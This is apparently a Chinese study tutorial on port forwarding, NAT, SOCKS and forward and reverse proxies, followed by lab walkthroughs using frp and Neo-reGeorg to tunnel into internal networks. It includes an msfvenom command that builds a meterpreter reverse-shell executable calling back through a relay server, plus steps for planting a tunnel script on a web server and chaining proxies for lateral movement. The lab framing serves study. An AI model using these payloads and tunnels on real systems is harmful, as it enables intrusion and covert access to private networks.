端口转发(隧道)是一种网络配置技术,用于将一个IP地址上的某个端口的流量转发到另一个IP地址的相应端口。它通常用于将外部请求导向内部网络中的特定服务,如Web服务器或邮件服务。
实现方式
端口转发通常在路由器、防火墙或负载均衡器上配置。例如,将外部的HTTP请求(端口80)转发到内部服务器的80端口。配置相对简单,只需设置转发规则即可。
例如一个攻击机,一个服务器,一个内网的被攻击机实验;攻击机想远程桌面连接内网的被攻击机,可以通过服务器的端口转发,将内网的被攻击机的3389端口转发到服务器上的3333端口,攻击机访问服务器的3333端口就相当与访问内网主机的3389端口。
实验
NAT技术
定义
NAT 工作在网络层(IP 层)和 传输层(TCP/UDP),通过修改 IP 包的源 / 目标地址和端口信息实现网络间通信。
工作流程:
内网主机 → 请求数据包 → NAT网关 → 修改源地址为网关公网IP → 转发至公网
公网服务器 → 响应数据包 → NAT网关 → 根据NAT表还原目标地址 → 转发至内网主机
类型区分
nat技术有多种类型,可以从功能方向和映射方式来区分。
功能方向:
- SNAT:源地址转换,修改数据包的源ip地址,方向为:内网访问外网
- DNAT:目的地址转换,修改数据包的目的ip地址,方向为:外网访问内网
映射方式:
-
静态 NAT:一对一映射,内网 IP 固定映射到公网 IP,主要应用在内网服务器对外开放。
-
当内网主机访问外网(出站):触发 SNAT。内网主机 192.168.1.10 的流量出去,源IP被静态转换为公网IP 203.0.113.10 。对端看到的是 203.0.113.10 。 当外网主机访问该公网IP(入站):触发 DNAT。发往 203.0.113.10 的流量,目的IP被静态转换为 192.168.1.10 并转发进去。
-
-
动态 NAT:从公网 IP 池中动态分配 IP 给内网主机,主要应用在企业内网用户访问互联网。
-
内网主机请求 → 从可用公网IP池分配一个IP → 建立映射 → 通信结束后释放IP
-
-
端口 NAT(PAT / NAPT):多对一映射,通过端口号区分不同连接(也叫端口映射),主要应用于家庭路由器共享宽带上网。
-
#例子: 192.168.1.100:10000 → 202.100.1.1:60000 192.168.1.101:20000 → 202.100.1.1:60001 192.168.1.102:30000 → 202.100.1.1:60002
-
-
双向 NAT:在同一次通信中,同时转换源地址和目标地址,双向NAT不是一种独立的NAT类型,而是一种特殊的应用场景或配置方式。
-
内网A → NAT网关 → 修改源地址 → 转发至内网B 内网B → NAT网关 → 修改目标地址 → 转发至内网A
-
端口映射
定义
端口映射(Port Mapping)是一种网络地址转换(NAT)中使用的技术。与端口转发的区别在于,端口映射可以实现内外网的双向通信,而端口转发只能是外网访问内网。
六、代理
Socks协议
Socks(Socket Secure)协议是一种网络协议,处于会话层,用于管理网络连接并提供安全性和隐私保护。服务器与客户端建立socks连接,从而使客户端可以以服务器的身份与其他主机通讯,而这台中间的服务器就叫socks代理服务器。
socks协议的过程:

特点:
- 只能拦截传输层及以上的流量(TCP/UDP)
- 无法捕获或修改网络层原始数据包(如ICMP,所以不能用ping验证)
正向代理
客户端访问web服务器,正向代理就是有一个代理服务器代替客户端访问web服务器,客户端将请求发给代理服务器,代理服务器再将请求发给web服务器,然后再依次返回到客户端。也就是客户端代理。
特点:
- 隐藏客户端的真实IP地址:目标服务器只能看到代理服务器的IP地址,而无法直接看到客户端的真实IP地址。
- 绕过网络限制:在某些网络环境中,客户端可能受到访问限制,无法直接访问某些网站或服务。通过配置正向代理,客户端可以绕过这些限制,访问被屏蔽的内容。
- 增强安全性:正向代理可以作为一道防火墙,保护客户端免受来自外部网络的攻击。通过代理服务器,客户端的直接暴露在互联网上的风险降低,从而提高了安全性。
反向代理
反向代理与正向代理相反,客户端访问web服务器,也是在中间设置一个代理服务器,但这个是代理web服务器的,代理服务器接收到客户端的请求,将请求发送给web服务器,再依次返回到客户端。也就是服务端代理。
特点:
- 隐藏后端服务器的真实IP地址:反向代理部署在服务器端,接收客户端的请求,并将请求转发到后端的多个服务器。这样,客户端只能看到反向代理服务器的IP地址。
- 负载均衡:反向代理可以将来自多个客户端的请求分发到多个后端服务器,从而提高服务器的负载能力。
- 增强安全性:通过隐藏后端服务器的真实IP地址,反向代理可以防止直接的攻击和入侵。此外,反向代理还可以过滤不必要的请求,进一步提升网络安全性。
区别:
- 正向代理:饭店里只有一个厨师,好几桌客人点完菜后,服务员跟厨师说炒哪些菜,厨师不知道是呢做客人点,只管做完,由服务员上菜。
- 反向代理:饭店里有4位厨师,有一桌客人点了4个菜,服务员跟厨师说谁点的哪些菜,4个菜一个厨师做一道,由服务员上菜,客人不知道是哪位厨师做的。
- 正向代理反向代理可以同时存在
frp反向代理
FRP(Fast Reverse Proxy)是一款高性能的反向代理工具,主要用于处理TCP、HTTP/HTTPS流量的转发。它通过服务端和客户端的架构,帮助用户实现内网穿透、远程访问等功能,广泛应用于开发、测试、部署和运维等场景。
PS:还有操作更简单的工具,更推荐这些:
frp端口转发
使用frp将本地kail的端口映射到公网的端口上,这样在对公网机器进行反弹shell的时候,就可以将要反弹的地址改为公网对应的地址和端口,就相当于反弹到本地的kail端口上。
准备:
- 一台公网服务器
- kali攻击机
- 内网靶机
- 服务端和客户端下载frp工具包
下载安装frp
#linux
wget https://github.com/fatedier/frp/releases/download/v0.32.0/frp_0.32.0_linux_amd64.tar.gz
#windows
#解压
tar zxf frp_0.32.0_linux_amd64.tar.gz
#进入文件
cd frp_0.32.0_linux_amd64/
#客户端配置frpc.ini,主要配置:服务器ip、服务器通讯端口、本地监听端口、服务器转发端口
#服务端配置frps.ini,主要配置:服务器通讯端口(和客户端保持一致)
#运行
#服务端
./frps -c frps.ini
#客户端
./frpc -c frpc.ini
ini详细配置
//frps.ini
[common]
bind_port = 7000 //客户端、服务端用于连接的端口
//frpc.ini
[common]
server_addr = 192.168.177.128 //服务端IP,这里就是公网服务器
server_port = 7000 //与服务端建立连接的端口,要和服务端的一致
[plugin_socks5] //代理隧道的名称,这个随便定义
type = tcp //通行类型,默认tcp就行
remote_port = 44444 //通信端口,注意通信端口和连接端口一个作用于客户端与服务端的连接,一个作用于流量转发
plugin = socks5 //代理类型使用socks5
msf反弹shell
# msf设置监听本地监听端口(frpc.ini中配置的监听端口)
set payload windows/meterpreter/reverse_tcp
set lhost 127.0.0.1
set lport xxx
run
#反弹shell的地址设置为服务器地址,端口为服务器转发端口
msfvenom -p windows/meterpreter/reverse_tcp lhost=xxx lport=xxx -f exe > shell.exe
#在靶机运行了shell.exe后,可以看到,成功反弹
Neo-reGeorg
Neo-reGeorg是常⻅的http正向隧道⼯具,是reGeorg⼯具的升级版。增加了很多特性,例如像内容加密、避免被检测、请求头定制、响应码定制、⽀持py3等等。基于socks5协议
⽣成web脚本,密码为pass
python neoreg.py generate -k pass

将⽣成的web脚本放⼊⽬标服务器,在本机执⾏建⽴隧道
python neoreg.py -k pass -u http://target-ip(url)/tunnel.php
然后使用代理工具,比如proxifier来实现正向代理,输入服务端ip:127.0.0.1,端口1080,协议socks5。
七、代理实验
正向代理
环境
工具:Neo-reGeorg
设备:
| 角色 | 主机 | 网卡 |
|---|---|---|
| 攻击者 | 本机 | 192 |
| web服务器 | winserver 2012(jx@2025) | NAT + lan1 |
打通socks5隧道
启动服务
winserver启动 phpstudy服务,测试:http://192.168.177.131/

上传脚本
上传Neo-reGeorg生成的tunnel.php脚本到根目录(可以使用finalshell模拟上传)
建⽴隧道
建立隧道显示Socks5 服务监听 本地1080端口(也就是说本地1080就是代理服务器)
python neoreg.py -k pass -u http://192.168.177.131/tunnel.php

启动代理
使用任意代理工具,比如火狐插件 foxyproxy

开启代理,测试访问:http://192.168.177.131/

或者使用proxifier:
创建代理服务器

配置代理规则

测试访问

多层反向代理
背景
通过代理可以直接访问内网环境。但是我们想要拿下内网,只有一层代理是不够的,因为内网中有多台机器,建立一层代理,让我们可以绕过一些防火墙规则,以及隐藏自己的ip来直接访问web服务器的内网网卡。此时进行内网扫描发现多台内网主机,我们想要直接访问这些主机必须再设置一层代理。
环境
设备:
| 角色 | 主机 | 网卡 |
|---|---|---|
| 攻击机 | 本地win 10主机 | 192.168.x.x |
| 云服务器(vps) | centos 7 node1 公网服务器 | NAT |
| web服务器 | centos 7 node1 | NAT + LAN1 |
| 内网主机1 | centos 7 node1 内网1 | LAN1 + LAN2 |
工具:
- frp反向代理工具
- Proxifier建立代理链
- ssh借助代理直接连接内网
web服务器frp
首先给web服务器设置frp代理,web服务器是客户端,上传frpc和frpc.ini文件。公网服务器为服务端,上传frps和frps.ini。
修改服务器配置:
- 连接端口改为:bind_port = 7000
./frps -c frps.ini
修改客户端配置文件:
- server_addr改为服务器地址,server_port 改为服务器的连接端口
- 隧道信息主要配置
- type = tcp
- remote_port = 44444
- plugin = socks5
./frpc -c frpc.ini


浙公网安备 33010602011771号